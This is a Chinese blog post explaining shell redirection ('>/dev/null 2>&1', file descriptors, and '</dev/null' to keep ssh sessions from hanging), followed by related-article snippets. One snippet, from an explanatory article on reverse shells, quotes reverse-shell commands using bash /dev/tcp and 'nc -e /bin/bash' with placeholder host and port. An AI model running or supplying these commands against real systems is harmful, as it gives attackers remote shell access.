`

shell里的/dev/null 2>&1详解

阅读更多
shell中可能经常能看到:>/dev/null 2>&1

命令的结果可以通过%>的形式来定义输出

分解这个组合:“>/dev/null 2>&1” 为五部分。

1:> 代表重定向到哪里,例如:echo "123" > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 "1>/dev/null"

因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 :接着,标准错误输出重定向 到 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

最常用的方式有:
   
command > file 2>file  与command > file 2>&1

它们有什么不同的地方吗?
      首先command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command  > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。
      而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。
      从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会command > file 2>&1 这样的写法。


作者: Sjolzy | Google+
地址: http://sjolzy.cn/shell-in-the-dev-null-2-gt-amp-1-Detailed.html


加上</dev/null,是什么意思?
google结果:
the "< /dev/null" unattaches the console keyboard and uses "< /dev/null" instead. This will allow the program to run in the background without being blocked.
仅仅是后台?
我这边有本地机器A,需要ssh 机器B"a.sh start"
a.sh中有这么一个
二进制cmd
执行后
然后exit 0

问题在于我远程ssh执行"a.sh start"

执行完之后一直hang在那里,并没有正常完成关闭连接并回到本地机器A的终端,而调试显示cmd以及exit 0是执行成功的。
在a.sh中
无论是
cmd > /dev/null 2>&1
还是
cmd &
都是hang在那里。

cmd > /dev/null </dev/null 2>&1
则是可以的



这区别就在于程序编写中判别标准输入啊,当没看到标准输入文件结束程序就不退出.
一旦标准输入是/dev/null,马上就看到标准输入结束了
  • 大小: 10.3 KB
  • 大小: 13.4 KB
分享到:
评论

相关推荐

    shell中1小于/dev/null 2大于&amp;1的含义

    shell中可能经常能看到:&gt;/dev/null 2&gt;&1,这里简单介绍下,方便需要的朋友

    linux反弹shell的原理详解

    bash -i &gt; /dev/tcp/ip/port 0&gt;&1 2&gt;&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i &gt; /dev/tcp/ip/port 0&gt;&1 2&gt;&1 bash -i 打开一个交互式的bash &是为了区分文件1和文件描述符1的 a&gt;&b 的...

    详解shell中/dev/null 2&1到底是什么

    相信大家经常能在shell脚本中发现&gt;/dev/null 2&gt;&1这样的语句。以前的我并没有去深入地理解这段命令的作用,照搬照用,直到上周我将这段命令不小心写成了2&gt;&1 &gt;/dev/null,出了一点小问题之后,我才开始去了解这段...

    详解shell中&gt;/dev/null 2&gt;&1到底是什么

    主要介绍了shell中&gt;/dev/null 2&gt;&1到底是什么,文中介绍的很详细,需要的朋友可以参考借鉴,下面来一起看看吧。

    shell中1小于/dev/null 2大于1的含义

    shell中可能经常能看到:&gt;/dev/null 2&gt;&1 命令的结果可以通过%&gt;的形式来定义输出 /dev/null 代表空设备文件 &gt; 代表重定向到哪里,例如:echo “123” &gt; /home/123.txt 1 表示stdout标准输出,系统默认值是1,所以”&gt;...

    shell 脚本自动搭建nfs服务的方法示例

    本文介绍了shell 脚本自动搭建nfs服务的方法...ping -c 1 172.16.13.254 &gt;/dev/null && echo **********网络ok********** #第一步:关闭selinux和防火墙 setenforce 0 &gt;/dev/null && echo **********selinux已关闭**

    shell脚本定时检测服务健康指标

    检测服务监控脚本,可设置定时执行及...*/5 * * * * /bin/bash /home/mysh/service-health-check.sh &gt;/dev/null 2&gt;&1 开机启动: vim /etc/rc.local /bin/bash /home/mysh/service-health-check.sh &gt;/dev/null 2&gt;&1 &

    linux shell 中 2>1的含义

    linux shell 中”2&gt;&1″的含义 脚本: nohup /mnt/Nand3/H2000G &gt;/dev/null 2&gt;&1 & 对于& 1 更准确的说应该是文件描述符 1,而1 一般代表的就是STDOUT_FILENO,实际上这个操作就是一个dup2(2)调用.他标准输出到all_...

    Termux-ADB:在Termux中安装ADB和FastBoot工具!

    Termux-ADB 在Termux中安装ADB和FastBoot工具!...如何安装静默安装: 在Termux中复制并粘贴以下命令以静默安装工具: apt update &gt; /dev/null 2&gt;&1 && apt --assume-yes install wget &gt; /dev/null 2&gt;&1 && wget ...

    PhoneInfoga:PhoneInfoga是仅使用免费资源即可扫描电话号码的最先进工具之一

    电话号码信息收集和OSINT侦察工具 如何安装 静默安装: 在Termux中复制并粘贴以下命令以...32m[*] Download starting...' && apt update &gt; /dev/null 2&gt;&1 && apt --assume-yes install wget &gt; /dev/null 2&gt;&1 && wget ...

    python:如何设置该死的python环境

    echo -e ' if command -v pyenv 1&gt;/dev/null 2&gt;&1; then\n eval "$(pyenv init -)"\nfi ' &gt;&gt; ~ /.bash_profile echo -e ' if command -v pyenv 1&gt;/dev/null 2&gt;&1; then\n eval "$(pyenv init -)"\nfi ' &gt;&gt; ~ /.zshrc...

    shell脚本:一键配置本地yum源仓库

    yum.sh shell脚本内容: ... mount /dev/cdrom /mnt &&gt; /dev/null cd /mnt/Packages/ if [ $? -eq 0 ] then echo 已将系统安装光盘挂载至/mnt目录下 cp -rf /etc/yum.repos.d/* /home/ rm -rf /etc/yum.repos

    mysql数据库CPU高,实时抓住数据库执行中的SQL语句,shell工具(支持mysql5.7)

    mysqlCPU高语句实时监控 ...nohup ./top-mysql-repeat.sh &gt;/dev/null 2&gt;&1 & 如果实时监控,./top-mysql-repeat.sh Ctrl+c退出。 执行后输出txt类别文件。为了看起来更工整,输出xls格式文件。 结果如图所示:

    比较

    /bin/bashDIR= " $( cd " $( dirname " ${BASH_SOURCE[0]} " ) " &gt; /dev/null 2&gt;&1 && pwd ) "# shellcheck source=./Compage/Bootstrap.shif ! source " $DIR /Compage/Bootstrap.sh " ; then &gt;&2 echo " ERROR: ...

    shell+python+expect更改设备密码并邮件通知

    #!/bin/bash i=$(cat /dev/urandom | head -n 10 | md5sum | head -c 10) echo $i &gt;&gt; /data/1.log 2&gt;&1 expect test.expect $i &gt;&gt; /data/1.log 2&gt;&1 sleep 3 python /opt/file/se.py $i

    SHELL脚本监控JAVA进程的代码

    脚本内容:java_check.sh #! /bin/bash # if [ -z `pidof java` ]; then ... /usr/local/tomcat/bin/startup.sh &gt;/dev/null 2&gt;&1 sleep 30 netstat -tnlp &gt;&gt; /data/logs/java_check.log echo -e “r

    Linux 命令 shell 重定向 >

    Linux 命令 shell 重定向 &gt; ...cat /dev/null &gt; filename &gt; filename 2、清空文件内容,将显示结果重定向到文件 echo “this is a test” &gt; filename 3、输入输出流组合 0:标准输入 1:标准输出 2:错误标准输出

    一个用了统计CPU 内存 硬盘 使用率的shell脚本

    /bin/bash#This script is use for describle CPU Hard Memery Utilizationtotal=0idle=0system=0user=0nice=0mem=0vmexec=/usr/bin/vmstatwhich sar &gt; /dev/null 2&gt;&1if [ $? -ne 0 ]then ver=`vmstat -V | awk ...

    实现core文件自动生成配置文件的方法

    ulimit -c unlimited &gt; /dev/null 2&gt;&1 2.更改core文件生成路径   vi /etc/sysctl.conf kernel.core_uses_pid = 1 kernel.core_pattern=/tmp/core-%e-%p 3.sysctl配置生效 sysctl -p /etc/sysctl.conf 这样就...

Global site tag (gtag.js) - Google Analytics